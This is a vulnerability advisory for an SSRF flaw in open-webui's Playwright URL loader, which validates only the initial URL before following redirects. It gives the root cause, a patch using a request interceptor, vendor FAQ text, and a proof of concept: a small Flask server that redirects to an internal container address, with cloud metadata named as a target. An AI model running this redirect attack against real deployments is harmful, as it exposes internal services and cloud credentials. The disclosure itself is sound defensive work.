CVE-2026-54018

The SafePlaywrightURLLoader implements a validate_url function to prevent SSRF attacks by checking the IP address of the user-provided URL. However, this validation is performed only on the initial URL.

Since Playwright automatically follows HTTP redirects (301/302) by default, an attacker can bypass the validation by providing a safe URL that redirects to a restricted internal network address (e.g., localhost, Docker container network, or Cloud Metadata).

This allows the application to access internal services despite ENABLE_RAG_LOCAL_WEB_FETCH being set to False

Details

Root Cause

The application validates the initial user-provided URL using self._safe_process_url_sync(url). This correctly resolves the domain and ensures it does not point to a private IP.

The application then calls page.goto(url). By default, Playwright automatically follows HTTP redirects (301/302).

The Bypass: If the destination server returns a redirect to an internal IP (e.g., 127.0.0.1 or 169.254.169.254), the browser follows it without re-validating the new destination. The initial validation is bypassed because it only checked the first URL, not the entire redirect chain.

for url in self.urls:
    try:
        self._safe_process_url_sync(url)  
        page = browser.new_page()
        response = page.goto(url, timeout=self.playwright_timeout)  #this
        if response is None:
            raise ValueError(...)
        text = self.evaluator.evaluate(page, browser, response)

PoC

(This PoC uses Docker to easily demonstrate internal network access (accessing a container by service name). However, the vulnerability is NOT tied to Docker.)

1. Ensure the Open WebUI is configured with the following environment variables. The vulnerability is specific to the Playwright engine.
2. ENABLE_RAG_LOCAL_WEB_FETCH=False (Default)
3. RAG_WEB_LOADER_ENGINE=playwright
4. Setup and run attack server
5. In Open WebUI, use the "Web Search" or "URL Loader" feature.
6. Input the attacker's URL (e.g., http://attacker-ip/).

# attack_server.py
from flask import Flask, redirect
app = Flask(__name__)

@app.route('/')
def attack():
    # Redirect to the Open WebUI container's internal port
    return redirect("http://open-webui:8080/api/version", code=302)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

The Playwright browser follows the redirect to the internal address (http://open-webui:8080/api/version)

Recommended Patch

implement a request interceptor using Playwright's page.route. This ensures all requests, including redirects, are validated before connection.

apply the following logic to both lazy_load and alazy_load methods:

# async context
async def intercept_route(route):
    try:
        await run_in_threadpool(validate_url, route.request.url)
        await route.continue_()
    except Exception:
        await route.abort()

await page.route("**/*", intercept_route)
response = await page.goto(url, timeout=self.playwright_timeout)

• Cloud Environments: Access to Instance Metadata Service (IMDS) to steal cloud credentials.
• Intranet/On-Premise: Scanning internal networks and accessing unauthenticated internal tools.
• Container Environments: Accessing other containers within the same network.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-54018 has a CVSS score of 7.7 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.9.6); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-54018? CVE-2026-54018 is a high-severity server-side request forgery (SSRF) vulnerability in open-webui (pip), affecting versions <= 0.9.5. It is fixed in 0.9.6. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2026-54018? CVE-2026-54018 has a CVSS score of 7.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of open-webui are affected by CVE-2026-54018? open-webui (pip) versions <= 0.9.5 is affected.
4. Is there a fix for CVE-2026-54018? Yes. CVE-2026-54018 is fixed in 0.9.6. Upgrade to this version or later.
5. Is CVE-2026-54018 exploitable, and should I be worried? Whether CVE-2026-54018 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-54018 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-54018? Upgrade open-webui to 0.9.6 or later.